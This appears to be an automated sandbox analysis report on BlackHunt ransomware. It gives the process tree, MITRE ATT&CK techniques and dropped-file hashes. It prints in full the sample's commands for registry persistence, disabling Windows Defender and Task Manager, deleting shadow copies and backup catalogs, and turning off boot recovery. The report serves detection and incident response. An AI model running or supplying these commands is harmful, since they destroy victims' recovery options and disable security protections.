- Suspicious use of WriteProcessMemory
PID:1204 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2580
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2828 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2212
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2564 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:1940
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2208
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:332
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:840
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:924
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:580
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1952
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:268
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2904
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2000
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2880
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:1480
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:2304
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:996
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2132
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:1852
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2620
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2800
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2332
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2796
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1312
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2868
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1864
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2932
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2776
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1672
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2952
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:2460
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2752
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3060
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2476
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2024
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2236
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1284
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:568
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1960
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1204
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:936
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2768
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:944
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2500
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:784
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:840
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2504
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2612
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1664
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe" /F2⤵PID:1624
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\c48c0e005f45fb621262bb0d88fc13040774fed26b03d91fef3d020ede076a01.exe" /F3⤵
- Creates scheduled task(s)
PID:1008
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2348
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:848
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:836
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1720
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1700
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:908
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2988
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:2396
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2312
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1628
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2300
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1348
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2252
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2068
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2340
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2304
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1136
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1500
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1676
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1808
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2728
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1460
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:1372
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:524
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
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Downloads
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Filesize
1KB
MD5498c87e27760ca1a5802177a2ecb9913
SHA1188834760aeb231203a996c5db9242e04ba88afc
SHA256890bd9a9ceb741db79335850a35800c414927cda67a0c5cf8c2516c2da565dc9
SHA512443416540a8be5b4a375ad806644546e6e97857ae196c85720fddac30643ed6311d266417ae343c249ef5f2dc735bd561402edaac72c533cffa87afff2926481
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Filesize
12KB
MD507bdcbbebc3f19551764654b8e70fc51
SHA11e559298a0d879f09180641965aa1caad0e35137
SHA25659f0a2ee18787f4c82e6e060e025b25c7ee016ebd0f0d43bf91dc3149573b48b
SHA512e30ba43d195f4c1e6d3536e69c573f3d47ea8eb30cffdc68fb55028df4eebe63112e297d45c858c94fe72377317313a880c9dbd940a31ef055032f2b3126d898
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Filesize
684B
MD504ab2163496c5761566fe0e2153278a1
SHA120feae86789216f9b3c7ea936228ee0b0ab84c66
SHA25685d03dca5ef36219e6d91e4808eeefdbff373525243a67d4cc58357ff6c63cc2
SHA512cf3214e8e8300ec3547ee67fa390a48bddd847d3aa6d523cea5d96a3821cfd2b2e79cf18ba9d3e0543001aa94f786cdfed6ada193d2e3e5968bc448c7cdca1b0